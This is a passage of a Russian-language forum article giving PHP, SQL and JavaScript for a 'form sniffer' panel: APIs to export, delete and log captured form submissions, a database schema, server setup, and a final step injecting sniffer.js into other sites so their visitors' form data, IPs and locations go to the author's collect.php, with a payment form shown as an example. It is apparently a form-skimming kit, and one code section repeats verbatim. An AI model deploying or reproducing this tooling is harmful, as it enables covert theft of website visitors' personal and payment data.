PHP:
function loadActivityLog() {
    const activityContent = document.getElementById('activityContent');
 
    fetch('api/activity.php')
        .then(response => response.json())
        .then(data => {
            if (data.success) {
                activityContent.innerHTML = `
                    <div class="activity-list">
                        ${data.activities.map(activity => `
                            <div class="activity-item">
                                <div class="activity-icon">
                                    <i class="fas fa-${getActivityIcon(activity.action)}"></i>
                                </div>
                                <div class="activity-details">
                                    <div class="activity-action">${formatActionName(activity.action)}</div>
                                    <div class="activity-time">${formatTime(activity.created_at)}</div>
                                    <div class="activity-ip">IP: ${activity.ip_address}</div>
                                </div>
                            </div>
                        `).join('')}
                    </div>
                `;
            }
        });
}

Динамическое построение интерфейса на основе данных из API. Каждый тип действия получает соответствующую иконку и форматирование.

Автоматическая отчистка данных:

PHP:
if (rand(1, 100) === 1) {
    register_shutdown_function(function() {
        try {
            $pdo = DatabaseConfig::getPDO();
        
            $pdo->exec('DELETE FROM user_sessions WHERE expires_at < NOW()');
            $pdo->exec("DELETE FROM rate_limits WHERE hour < DATE_FORMAT(DATE_SUB(NOW(), INTERVAL 48 HOUR), '%Y-%m-%d %H')");
            $pdo->exec('DELETE FROM activity_logs WHERE created_at < DATE_SUB(NOW(), INTERVAL 90 DAY)');
        
        } catch (Exception $e) {
            Logger::error('Auto-cleanup failed: ' . $e->getMessage());
        }
    });
}

Вероятностная очистка (1% запросов) обеспечивает удаление устаревших данных без дополнительных cron-задач. Использование register_shutdown_function() гарантирует выполнение очистки после обработки пользовательского запроса.



Часть 4. Функциональные модули
Система экспорта данных (export.php)

Модуль экспорта предоставляет гибкие возможности выгрузки собранных данных в различных форматах с применением фильтров и ограничений по безопасности.

Инициализация и проверка доступа:

PHP:
session_start();

if (!isset($_SESSION['logged_in']) || $_SESSION['logged_in'] !== true) {
    http_response_code(403);
    die('Access denied');
}

try {
    $pdo = new PDO(
        'mysql:host=localhost;dbname=form_sniffer;charset=utf8mb4',
        'username',
        'password',
        [
            PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
            PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC
        ]
    );
} catch (PDOException $e) {
    http_response_code(500);
    die('Database connection failed');
}

Строгая проверка авторизации предшествует любым операциям. В случае ошибки подключения к БД пользователь получает HTTP 500 без раскрытия технических деталей.

Обработка параметров экспорта:

PHP:
$format = $_GET['format'] ?? 'csv';
$search = $_GET['search'] ?? '';
$date_from = $_GET['date_from'] ?? '';
$date_to = $_GET['date_to'] ?? '';
$page_filter = $_GET['page_filter'] ?? '';
$limit = min(10000, (int)($_GET['limit'] ?? 1000));

$where_conditions = [];
$params = [];

if ($search) {
    $where_conditions[] = "(page_url LIKE ? OR JSON_SEARCH(form_data, 'all', ?) IS NOT NULL)";
    $params[] = "%$search%";
    $params[] = "%$search%";
}

if ($date_from) {
    $where_conditions[] = "DATE(created_at) >= ?";
    $params[] = $date_from;
}

if ($date_to) {
    $where_conditions[] = "DATE(created_at) <= ?";
    $params[] = $date_to;
}

Ограничение в 10,000 записей предотвращает экспорт огромных объемов данных, который может привести к таймауту или исчерпанию памяти. Поиск работает как по URL страниц, так и по содержимому JSON-данных форм.

Удобный экспорт результатов в CSV формате:

PHP:
function exportCsv(array $data, string $filename): void {
    header('Content-Type: text/csv; charset=utf-8');
    header("Content-Disposition: attachment; filename=\"{$filename}.csv\"");
    header('Cache-Control: max-age=0');
 
    $output = fopen('php://output', 'w');
 
    fprintf($output, chr(0xEF).chr(0xBB).chr(0xBF));
 
    if (!empty($data)) {
        $headers = [
            'ID', 'Page URL', 'Form ID', 'Form Action', 'IP Address',
            'User Agent', 'Country', 'City', 'Referrer', 'Session ID',
            'Created At', 'Form Data (JSON)'
        ];
    
        fputcsv($output, $headers);
    
        foreach ($data as $row) {
            $csvRow = [
                $row['id'],
                $row['page_url'],
                $row['form_id'] ?? '',
                $row['form_action'] ?? '',
                $row['ip_address'],
                $row['user_agent'],
                $row['country'] ?? '',
                $row['city'] ?? '',
                $row['referrer'] ?? '',
                $row['session_id'] ?? '',
                $row['created_at'],
                $row['form_data']
            ];
        
            fputcsv($output, $csvRow);
        }
    } else {
        fputcsv($output, ['No data found']);
    }
 
    fclose($output);
}

Добавление BOM (Byte Order Mark) в начало файла обеспечивает корректное отображение UTF-8 символов в Excel. Использование php://output позволяет напрямую выводить данные в браузер без создания временного файла.

Экспорт в JSON:

PHP:
function exportJson(array $data, string $filename): void {
    header('Content-Type: application/json; charset=utf-8');
    header("Content-Disposition: attachment; filename=\"{$filename}.json\"");
    header('Cache-Control: max-age=0');
 
    $export_data = [
        'export_info' => [
            'timestamp' => date('c'),
            'record_count' => count($data),
            'exported_by' => $_SESSION['username'] ?? 'unknown'
        ],
        'data' => array_map(function($row) {
            $row['form_data_parsed'] = json_decode($row['form_data'], true);
            return $row;
        }, $data)
    ];
 
    echo json_encode($export_data, JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE);
}

JSON-экспорт включает метаинформацию о выгрузке и автоматически парсит JSON-поля для удобства анализа. Флаг JSON_PRETTY_PRINT делает файл спокойно читаемым.

Экспорт в Excel:
PHP:
function exportExcel(array $data, string $filename): void {
    header('Content-Type: application/vnd.ms-excel; charset=utf-8');
    header("Content-Disposition: attachment; filename=\"{$filename}.xls\"");
    header('Cache-Control: max-age=0');
 
    echo chr(0xEF).chr(0xBB).chr(0xBF);
 
    echo '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40">';
    echo '<head><meta charset="UTF-8"></head>';
    echo '<body>';
    echo '<table border="1">';
 
    if (!empty($data)) {
        echo '<tr style="font-weight: bold; background-color: #f0f0f0;">';
        echo '<td>ID</td><td>Page URL</td><td>Form ID</td><td>Form Action</td>';
        echo '<td>IP Address</td><td>User Agent</td><td>Country</td><td>City</td>';
        echo '<td>Referrer</td><td>Session ID</td><td>Created At</td><td>Form Data</td>';
        echo '</tr>';
    
        foreach ($data as $row) {
            echo '<tr>';
            echo '<td>' . htmlspecialchars($row['id']) . '</td>';
            echo '<td>' . htmlspecialchars($row['page_url']) . '</td>';
            echo '<td>' . htmlspecialchars($row['form_id'] ?? '') . '</td>';
            echo '<td>' . htmlspecialchars($row['form_action'] ?? '') . '</td>';
            echo '<td>' . htmlspecialchars($row['ip_address']) . '</td>';
            echo '<td>' . htmlspecialchars($row['user_agent']) . '</td>';
            echo '<td>' . htmlspecialchars($row['country'] ?? '') . '</td>';
            echo '<td>' . htmlspecialchars($row['city'] ?? '') . '</td>';
            echo '<td>' . htmlspecialchars($row['referrer'] ?? '') . '</td>';
            echo '<td>' . htmlspecialchars($row['session_id'] ?? '') . '</td>';
            echo '<td>' . htmlspecialchars($row['created_at']) . '</td>';
            echo '<td>' . htmlspecialchars($row['form_data']) . '</td>';
            echo '</tr>';
        }
    } else {
        echo '<tr><td colspan="12">No data found</td></tr>';
    }
 
    echo '</table></body></html>';
}


Вкусовщина. Лично я часто использую Excel таблицы в работе, поэтому эта функция была реализована скорее для себя, нежели для активного использования.

Логирование экспортов:

PHP:
try {
    $log_stmt = $pdo->prepare('
        INSERT INTO activity_logs (user_id, action, details, ip_address)
        VALUES (?, ?, ?, ?)
    ');
    $log_stmt->execute([
        $_SESSION['user_id'],
        'export_data',
        json_encode([
            'format' => $format,
            'filters' => compact('search', 'date_from', 'date_to', 'page_filter'),
            'record_count' => count($data)
        ]),
        $_SERVER['REMOTE_ADDR'] ?? ''
    ]);
} catch (PDOException $e) {
    error_log('Export logging error: ' . $e->getMessage());
}

Каждый экспорт логируется с указанием формата, примененных фильтров и количества экспортированных записей. Ошибки логирования не прерывают основной процесс экспорта.

API удаления (delete.php)
Модуль удаления обеспечивает безопасное удаление записей с детальным контролем доступа и логированием всех операций.

Проверка прав доступа:
PHP:
session_start();

if (!isset($_SESSION['logged_in']) || $_SESSION['logged_in'] !== true) {
    http_response_code(403);
    echo json_encode(['success' => false, 'message' => 'Access denied']);
    exit;
}

if (($_SESSION['role'] ?? '') !== 'admin') {
    http_response_code(403);
    echo json_encode(['success' => false, 'message' => 'Admin privileges required']);
    exit;
}

header('Content-Type: application/json');

if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
    http_response_code(405);
    echo json_encode(['success' => false, 'message' => 'Method not allowed']);
    exit;
}

Двухуровневая проверка: сначала аутентификация, затем авторизация по роли. Только администраторы могут удалять данные. Все ответы в JSON-формате для единообразия API.

Удаление записей:
PHP:
if (isset($data['id'])) {
    $id = (int)$data['id'];
 
    $stmt = $pdo->prepare('SELECT * FROM form_submissions WHERE id = ?');
    $stmt->execute([$id]);
    $record = $stmt->fetch();
 
    if (!$record) {
        echo json_encode(['success' => false, 'message' => 'Record not found']);
        exit;
    }
 
    $delete_stmt = $pdo->prepare('DELETE FROM form_submissions WHERE id = ?');
    $result = $delete_stmt->execute([$id]);
 
    if ($result && $delete_stmt->rowCount() > 0) {
        $log_stmt = $pdo->prepare('
            INSERT INTO activity_logs (user_id, action, details, ip_address)
            VALUES (?, ?, ?, ?)
        ');
        $log_stmt->execute([
            $_SESSION['user_id'],
            'delete_submission',
            json_encode([
                'deleted_id' => $id,
                'page_url' => $record['page_url'],
                'created_at' => $record['created_at']
            ]),
            $_SERVER['REMOTE_ADDR'] ?? ''
        ]);
    
        echo json_encode(['success' => true, 'message' => 'Record deleted successfully']);
    } else {
        echo json_encode(['success' => false, 'message' => 'Failed to delete record']);
    }
}

Проверка существования записи перед удалением предотвращает ложные сообщения об успехе. Детали удаленной записи сохраняются в логе для возможного восстановления.

Массовое удаление записей:

PHP:
elseif (isset($data['ids']) && is_array($data['ids'])) {
    $ids = array_map('intval', $data['ids']);
    $ids = array_filter($ids, fn($id) => $id > 0);
 
    if (empty($ids)) {
        echo json_encode(['success' => false, 'message' => 'No valid IDs provided']);
        exit;
    }
 
    if (count($ids) > 1000) {
        echo json_encode(['success' => false, 'message' => 'Cannot delete more than 1000 records at once']);
        exit;
    }
 
    $placeholders = str_repeat('?,', count($ids) - 1) . '?';
    $stmt = $pdo->prepare("SELECT id, page_url, created_at FROM form_submissions WHERE id IN ($placeholders)");
    $stmt->execute($ids);
    $records = $stmt->fetchAll();
 
    $delete_stmt = $pdo->prepare("DELETE FROM form_submissions WHERE id IN ($placeholders)");
    $result = $delete_stmt->execute($ids);
 
    if ($result) {
        $deleted_count = $delete_stmt->rowCount();
    
        $log_stmt = $pdo->prepare('
            INSERT INTO activity_logs (user_id, action, details, ip_address)
            VALUES (?, ?, ?, ?)
        ');
        $log_stmt->execute([
            $_SESSION['user_id'],
            'bulk_delete_submissions',
            json_encode([
                'deleted_count' => $deleted_count,
                'requested_ids' => $ids,
                'deleted_records' => array_column($records, 'id')
            ]),
            $_SERVER['REMOTE_ADDR'] ?? ''
        ]);
    
        echo json_encode([
            'success' => true,
            'message' => "Successfully deleted $deleted_count record(s)",
            'deleted_count' => $deleted_count
        ]);
    }
}

Ограничение в 1000 записей предотвращает случайное удаление всей базы. Динамическое построение плейсхолдеров обеспечивает безопасность prepared statements для произвольного количества ID.

Автоматическая отчистка:

PHP:
elseif (isset($data['action']) && $data['action'] === 'cleanup') {
    $days = (int)($data['days'] ?? 90);
    $days = max(1, min(365, $days));
 
    $count_stmt = $pdo->prepare('SELECT COUNT(*) FROM form_submissions WHERE created_at < DATE_SUB(NOW(), INTERVAL ? DAY)');
    $count_stmt->execute([$days]);
    $count = $count_stmt->fetchColumn();
 
    if ($count > 0) {
        $cleanup_stmt = $pdo->prepare('DELETE FROM form_submissions WHERE created_at < DATE_SUB(NOW(), INTERVAL ? DAY)');
        $result = $cleanup_stmt->execute([$days]);
    
        if ($result) {
            $deleted_count = $cleanup_stmt->rowCount();
        
            $log_stmt = $pdo->prepare('
                INSERT INTO activity_logs (user_id, action, details, ip_address)
                VALUES (?, ?, ?, ?)
            ');
            $log_stmt->execute([
                $_SESSION['user_id'],
                'cleanup_old_data',
                json_encode([
                    'retention_days' => $days,
                    'deleted_count' => $deleted_count
                ]),
                $_SERVER['REMOTE_ADDR'] ?? ''
            ]);
        
            echo json_encode([
                'success' => true,
                'message' => "Cleanup completed. Deleted $deleted_count old record(s)",
                'deleted_count' => $deleted_count
            ]);
        }
    } else {
        echo json_encode([
            'success' => true,
            'message' => 'No old records found to cleanup',
            'deleted_count' => 0
        ]);
    }
}

Ограничение в 1000 записей предотвращает случайное удаление всей базы. Динамическое построение плейсхолдеров обеспечивает безопасность prepared statements для произвольного количества ID.

Автоматическая отчистка:

PHP:
elseif (isset($data['action']) && $data['action'] === 'cleanup') {
    $days = (int)($data['days'] ?? 90);
    $days = max(1, min(365, $days));
 
    $count_stmt = $pdo->prepare('SELECT COUNT(*) FROM form_submissions WHERE created_at < DATE_SUB(NOW(), INTERVAL ? DAY)');
    $count_stmt->execute([$days]);
    $count = $count_stmt->fetchColumn();
 
    if ($count > 0) {
        $cleanup_stmt = $pdo->prepare('DELETE FROM form_submissions WHERE created_at < DATE_SUB(NOW(), INTERVAL ? DAY)');
        $result = $cleanup_stmt->execute([$days]);
    
        if ($result) {
            $deleted_count = $cleanup_stmt->rowCount();
        
            $log_stmt = $pdo->prepare('
                INSERT INTO activity_logs (user_id, action, details, ip_address)
                VALUES (?, ?, ?, ?)
            ');
            $log_stmt->execute([
                $_SESSION['user_id'],
                'cleanup_old_data',
                json_encode([
                    'retention_days' => $days,
                    'deleted_count' => $deleted_count
                ]),
                $_SERVER['REMOTE_ADDR'] ?? ''
            ]);
        
            echo json_encode([
                'success' => true,
                'message' => "Cleanup completed. Deleted $deleted_count old record(s)",
                'deleted_count' => $deleted_count
            ]);
        }
    } else {
        echo json_encode([
            'success' => true,
            'message' => 'No old records found to cleanup',
            'deleted_count' => 0
        ]);
    }
}
Функция очистки позволяет удалять данные старше указанного количества дней. Диапазон ограничен от 1 до 365 дней для предотвращения ошибок.

Профили пользователей (profile.php)
API управления профилями поддерживает CRUD-операции с динамическим расширением схемы БД.

Получение профиля пользователя:

PHP:
if ($_SERVER['REQUEST_METHOD'] === 'GET') {
    $stmt = $pdo->prepare('SELECT * FROM users WHERE id = ?');
    $stmt->execute([$_SESSION['user_id']]);
    $user = $stmt->fetch();
 
    if ($user) {
        unset($user['password_hash']);
        echo json_encode(['success' => true, 'user' => $user]);
    } else {
        echo json_encode(['success' => false, 'message' => 'User not found']);
    }
}

Хеш пароля исключается из ответа для безопасности, даже если злоумышленник получит доступ к API-ответу.

Динамическое обновление схемы:

PHP:
elseif ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $input = file_get_contents('php://input');
    $data = json_decode($input, true);
 
    $columns = $pdo->query("SHOW COLUMNS FROM users")->fetchAll(PDO::FETCH_COLUMN);
 
    if (!in_array('first_name', $columns)) {
        $pdo->exec("ALTER TABLE users ADD COLUMN first_name VARCHAR(50) NULL AFTER email");
    }
    if (!in_array('last_name', $columns)) {
        $pdo->exec("ALTER TABLE users ADD COLUMN last_name VARCHAR(50) NULL AFTER first_name");
    }
    if (!in_array('bio', $columns)) {
        $pdo->exec("ALTER TABLE users ADD COLUMN bio TEXT NULL AFTER last_name");
    }
 
    $allowedFields = ['email', 'first_name', 'last_name', 'bio'];
    $updateFields = [];
    $updateValues = [];
 
    foreach ($allowedFields as $field) {
        if (isset($data[$field])) {
            $updateFields[] = "$field = ?";
            $updateValues[] = $data[$field];
        }
    }
 
    if (empty($updateFields)) {
        echo json_encode(['success' => false, 'message' => 'No valid fields to update']);
        exit;
    }
 
    $updateValues[] = $_SESSION['user_id'];
 
    $sql = "UPDATE users SET " . implode(', ', $updateFields) . ", updated_at = NOW() WHERE id = ?";
    $stmt = $pdo->prepare($sql);
    $result = $stmt->execute($updateValues);
}

Автоматическое добавление колонок обеспечивает обратную совместимость при развертывании на существующих инсталляциях. Whitelist разрешенных полей предотвращает изменение критических данных.

Смена пароля:

PHP:
elseif ($_SERVER['REQUEST_METHOD'] === 'PUT') {
    $input = file_get_contents('php://input');
    $data = json_decode($input, true);
 
    if (!$data || !isset($data['current_password']) || !isset($data['new_password'])) {
        echo json_encode(['success' => false, 'message' => 'Missing required fields']);
        exit;
    }
 
    $stmt = $pdo->prepare('SELECT password_hash FROM users WHERE id = ?');
    $stmt->execute([$_SESSION['user_id']]);
    $user = $stmt->fetch();
 
    if (!$user || !password_verify($data['current_password'], $user['password_hash'])) {
        echo json_encode(['success' => false, 'message' => 'Current password is incorrect']);
        exit;
    }
 
    if (strlen($data['new_password']) < 8) {
        echo json_encode(['success' => false, 'message' => 'Password must be at least 8 characters long']);
        exit;
    }
 
    $new_hash = password_hash($data['new_password'], PASSWORD_DEFAULT);
    $stmt = $pdo->prepare('UPDATE users SET password_hash = ?, updated_at = NOW() WHERE id = ?');
    $result = $stmt->execute([$new_hash, $_SESSION['user_id']]);
 
    if ($result) {
        echo json_encode(['success' => true, 'message' => 'Password changed successfully']);
    } else {
        echo json_encode(['success' => false, 'message' => 'Failed to change password']);
    }
}

Обязательная проверка текущего пароля предотвращает несанкционированную смену пароля при компрометации сессии.

Логи активности (activity.php)
Простой API для получения персонального лога активности пользователя.

PHP:
session_start();

if (!isset($_SESSION['logged_in']) || $_SESSION['logged_in'] !== true) {
    http_response_code(403);
    echo json_encode(['success' => false, 'message' => 'Access denied']);
    exit;
}

header('Content-Type: application/json');

try {
    $stmt = $pdo->prepare('
        SELECT action, details, ip_address, created_at
        FROM activity_logs
        WHERE user_id = ?
        ORDER BY created_at DESC
        LIMIT 20
    ');
    $stmt->execute([$_SESSION['user_id']]);
    $activities = $stmt->fetchAll();

    echo json_encode([
        'success' => true,
        'activities' => $activities
    ]);

} catch (PDOException $e) {
    error_log('Activity API error: ' . $e->getMessage());
    http_response_code(500);
    echo json_encode(['success' => false, 'message' => 'Failed to fetch activities']);
}

Ограничение 20 записями предотвращает передачу больших объемов данных. Пользователь видит только свою активность, что обеспечивает конфиденциальность.

Интеграция с фронтом:

PHP:
function getActivityIcon(action) {
    const icons = {
        'login': 'sign-in-alt',
        'logout': 'sign-out-alt',
        'delete_submission': 'trash',
        'export_data': 'download',
        'bulk_delete': 'trash-alt'
    };
    return icons[action] || 'circle';
}

function formatActionName(action) {
    return action.split('_').map(word =>
        word.charAt(0).toUpperCase() + word.slice(1)
    ).join(' ');
}

Клиентские утилиты для форматирования отображения активности. Каждому типу действия соответствует своя иконка из Font Awesome.

Часть 5. Установка и настройка
Системные требования:

Сервер:

PHP версия 8.0 или выше обязательна для корректной работы строгой типизации (declare(strict_types=1)):

php -v необходимый результат - версия PHP 8.0.0+

Необходимые расширения PHP:
Проверка установленных расширений: php -m | grep -E "(pdo|pdo_mysql|json|mbstring|session|openssl)"
Установка на Ubuntu/Debian: sudo apt install php8.0-pdo php8.0-mysql php8.0-json php8.0-mbstring php8.0-openssl
Установка на CentOS: sudo yum install php80-php-pdo php80-php-mysqlnd php80-php-json php80-php-mbstring php80-php-openssl

Настройки PHP (php.ini)

INI:
memory_limit = 256M
max_execution_time = 300
max_input_vars = 3000
post_max_size = 50M
upload_max_filesize = 10M
session.gc_maxlifetime = 3600
session.cookie_httponly = 1
session.cookie_secure = 1
session.use_strict_mode = 1

База данных:
MySQL версии 5.7+ для поддержки данных типа JSON.
SQL:
-- Проверка версии
SELECT VERSION();

-- Минимальные настройки MySQL
SET GLOBAL innodb_buffer_pool_size = 512*1024*1024;  -- 512MB
SET GLOBAL max_connections = 200;
SET GLOBAL wait_timeout = 600;
SET GLOBAL interactive_timeout = 600;

Веб сервер:
Apache 2.4+ с поддержкой HTTPS соединения:

Apache config:
<VirtualHost *:443>
    ServerName your-domain.com
    DocumentRoot /var/www/form-sniffer
 
    SSLEngine on
    SSLCertificateFile /path/to/certificate.crt
    SSLCertificateKeyFile /path/to/private.key
 
    Header always set X-Frame-Options DENY
    Header always set X-Content-Type-Options nosniff
    Header always set X-XSS-Protection "1; mode=block"
    Header always set Strict-Transport-Security "max-age=31536000; includeSubDomains"
 
    <Directory /var/www/form-sniffer>
        AllowOverride All
        Require all granted
    
        <Files "config.php">
            Require all denied
        </Files>
    
        <Files "*.log">
            Require all denied
        </Files>
    </Directory>
</VirtualHost>

Установка и настройка:
Загрузка и размещение файлов:


Создание директории проекта: sudo mkdir -p /var/www/sniffer
Переход в созданную директорию: cd /var/www/sniffer
Размещение всех файлов системы:

Rich (BB code):
sniffer/
│
├── api/
│   ├── delete.php
│   ├── profile.php
│   └── activity.php
├── style.css
├── sniffer.js
├── config.php
├── admin.php
├── login.php
├── logout.php
├── collect.php
└── export.php

Установка правильных прав доступа:

Bash:
sudo chown -R www-data:www-data /var/www/form-sniffer
sudo chmod -R 644 /var/www/form-sniffer
sudo chmod -R 755 /var/www/form-sniffer/api/
sudo chmod 600 /var/www/form-sniffer/config.php

Создание директории для логов:
Bash:
sudo mkdir -p /var/www/form-sniffer/logs
sudo chmod 755 /var/www/form-sniffer/logs

Настройка базы данных MySQL:
Создание пользователя и самой базы данных:


SQL:
-- Подключение к MySQL как root
mysql -u root -p

-- Создание базы данных
CREATE DATABASE form_sniffer_prod CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;

-- Создание пользователя
CREATE USER 'form_sniffer_user'@'localhost' IDENTIFIED BY 'very_secure_password_here';

-- Предоставление прав
GRANT SELECT, INSERT, UPDATE, DELETE, CREATE, ALTER, INDEX ON form_sniffer_prod.* TO 'form_sniffer_user'@'localhost';

-- Применение изменений
FLUSH PRIVILEGES;

Инициализация структуры БД:
Создайте файл database.sql

SQL:
-- install.sql
USE form_sniffer_prod;

-- Таблица пользователей
CREATE TABLE users (
    id INT PRIMARY KEY AUTO_INCREMENT,
    username VARCHAR(50) UNIQUE NOT NULL,
    password_hash VARCHAR(255) NOT NULL,
    email VARCHAR(100),
    role ENUM('admin', 'user') DEFAULT 'user',
    is_active BOOLEAN DEFAULT TRUE,
    first_name VARCHAR(50),
    last_name VARCHAR(50),
    bio TEXT,
    last_login TIMESTAMP NULL,
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
    updated_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
 
    INDEX idx_username (username),
    INDEX idx_email (email),
    INDEX idx_role (role),
    INDEX idx_active (is_active)
);

-- Основная таблица данных форм
CREATE TABLE form_submissions (
    id BIGINT PRIMARY KEY AUTO_INCREMENT,
    page_url VARCHAR(500) NOT NULL,
    form_data JSON NOT NULL,
    form_id VARCHAR(100),
    form_action VARCHAR(500),
    ip_address VARCHAR(45) NOT NULL,
    user_agent TEXT,
    country VARCHAR(100),
    city VARCHAR(100),
    referrer VARCHAR(500),
    session_id VARCHAR(64),
    timestamp VARCHAR(30),
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
 
    INDEX idx_page_url (page_url),
    INDEX idx_ip_address (ip_address),
    INDEX idx_created_at (created_at),
    INDEX idx_session_id (session_id),
    INDEX idx_country (country),
 
    FULLTEXT idx_form_data (form_data)
);

-- Сессии пользователей
CREATE TABLE user_sessions (
    id VARCHAR(128) PRIMARY KEY,
    user_id INT NOT NULL,
    ip_address VARCHAR(45),
    user_agent TEXT,
    expires_at TIMESTAMP NOT NULL,
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
 
    FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE CASCADE,
    INDEX idx_user_id (user_id),
    INDEX idx_expires_at (expires_at)
);

-- Rate limiting
CREATE TABLE rate_limits (
    ip VARCHAR(45) NOT NULL,
    hour VARCHAR(13) NOT NULL,
    requests INT DEFAULT 1,
 
    PRIMARY KEY (ip, hour),
    INDEX idx_hour (hour)
);

-- Журнал активности
CREATE TABLE activity_logs (
    id BIGINT PRIMARY KEY AUTO_INCREMENT,
    user_id INT,
    action VARCHAR(50) NOT NULL,
    details JSON,
    ip_address VARCHAR(45),
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
 
    FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE SET NULL,
    INDEX idx_user_id (user_id),
    INDEX idx_action (action),
    INDEX idx_created_at (created_at)
);

-- Создание акка админа по дефолту
-- Пароль: admin123 (необходимо поменять)
INSERT INTO users (username, password_hash, email, role, is_active) VALUES
('admin', '$2y$10$92IXUNpkjO0rOQ5byMi.Ye4oKoEa3Ro9llC/.og/at2.uheWG/igi', 'admin@your-domain.com', 'admin', 1);

Выполните инициализацию: mysql -u form_sniffer_user -p form_sniffer_prod &lt; install.sql

Главное:
Не забудьте подключить базу данных в коде, делается это в следующих файлах:

config.php

PHP:
define('DB_HOST', $_ENV['DB_HOST'] ?? 'localhost');
define('DB_NAME', $_ENV['DB_NAME'] ?? 'your_database_name');
define('DB_USER', $_ENV['DB_USER'] ?? 'your_username');
define('DB_PASS', $_ENV['DB_PASS'] ?? 'your_password');

collect.php

PHP:
'db_host' => $_ENV['DB_HOST'] ?? 'localhost',
'db_name' => $_ENV['DB_NAME'] ?? 'your_database_name',
'db_user' => $_ENV['DB_USER'] ?? 'your_username',
'db_pass' => $_ENV['DB_PASS'] ?? 'your_password',

admin.php

PHP:
$pdo = new PDO(
    'mysql:host=localhost;dbname=your_database_name;charset=utf8mb4',
    'your_username',
    'your_password',

login.php В ДВУХ МЕСТАХ:

PHP:
$pdo = new PDO(
    'mysql:host=localhost;dbname=your_database_name;charset=utf8mb4',
    'your_username',
    'your_password',

PHP:
// Check for remember me cookie
if (isset($_COOKIE['remember_token']) && !isset($_SESSION['logged_in'])) {
    try {
    $pdo = new PDO(
        'mysql:host=localhost;dbname=yourname;charset=utf8mb4',
        'yourname',
        'yourpassword',
            [PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION]
        );

logout.php
PHP:
$pdo = new PDO(
    'mysql:host=localhost;dbname=your_database_name;charset=utf8mb4',
    'your_username',
    'your_password',

export.php

PHP:
$pdo = new PDO(
    'mysql:host=localhost;dbname=your_database_name;charset=utf8mb4',
    'your_username',
    'your_password',

ПАПКА API (delete.php, activity.php, profile.php)
PHP:
$pdo = new PDO(
    'mysql:host=localhost;dbname=your_database_name;charset=utf8mb4',
    'your_username',
    'your_password',

Финальный шаг в установке: установка сниффера на другие сайты.
Для установки сниффера необходимо в любом месте в коде сайта перед закрывающим</body> добавить интеграцию JS скрипта:

JavaScript:
<script src="https://your-domain.com/sniffer.js" async></script>

Или с кастомизацией настроек, например удалением ненужных форм:

JavaScript:
(function() {
    window.FormTrackerConfig = {
        endpoint: 'https://your-domain.com/collect.php',
        excludeTypes: ['password', 'file', 'hidden'],
        excludeNames: ['api_key']
    };
 
    var script = document.createElement('script');
    script.src = 'https://your-domain.com/sniffer.js';
    script.async = true;
    document.head.appendChild(script);
})();

excludeTypes: ['password', 'file', 'hidden'] - это означает, что будут исключены данные следующих типов: пароли, файлы, скрытые данные (******)
excludeNames: ['api_key'] - это означает, что будет исключено имя данных, которое соответствует api_key.

В этих переменных можно указывать любые данные, которые сниффер будет игнорировать.



В заключении могу сказать, что получился довольно интересный, а главное рабочий инструмент (хоть он и имеет некоторые косяки по дизайну, и в целом имеются небольшие недоработки) и каждый человек, прочитавший эту статью сможет написать собственный sniffer форм с полноценной панелью для собственной работы. Как я писал в самом начале в спойлере "ATTENTION", данный скрипт предназначается для рядового пользователя в виде рабочей базы. Если нужна функциональность "с коробки", а именно: взял готовый скрипт -> установил на сервер -> работаешь, то моя статья - идеально подходит для этого. Люди, которые разбираются в кодинге могут взять этот код в виде базы и оптимизировать его под свои нужды так, как им захочется.

У меня ушло более четырех (4:20) часов времени на непрерывное написание этой статьи по готовому коду, который я заранее доработал и привел в рабочее состояние на данный момент. Основа (база) этого кода лежала на моем сервере с начала 2024 года и это полностью самописный продукт. По реализации PHP панели может возникнуть много вопросов, т.к. практически все время при написании кода я использовал методички и видео на ютубе, т.к. я не специализируюсь на написании PHP кода (при этом я давно изучил базу, могу читать код, но свободно на нем не пишу).

Это моя крайняя статья за ближайшее время. Следующая статья выйдет скорее всего в конце лета, всему виной множество параллельных дел и отсутствие идей для написания полезных статей. Не хочу наполнять форум мусорным, некачественным контентом.

Прикладываю скриншоты панели:


(платежная форма, использовалась как пример)

этап авторизации в панель):



главное меню:

настройки админ панели:
настройки профиля:
логи активности:
смена пароля от аккаунта:


интерфейс для просмотра логов:
вид подробного лога:
.

мне задавать вопросы бесполезно. я сам выложил чтобы протестировать позже, т.к. форум закрытый, и у мня патериал в виде страницы pdf
 
Top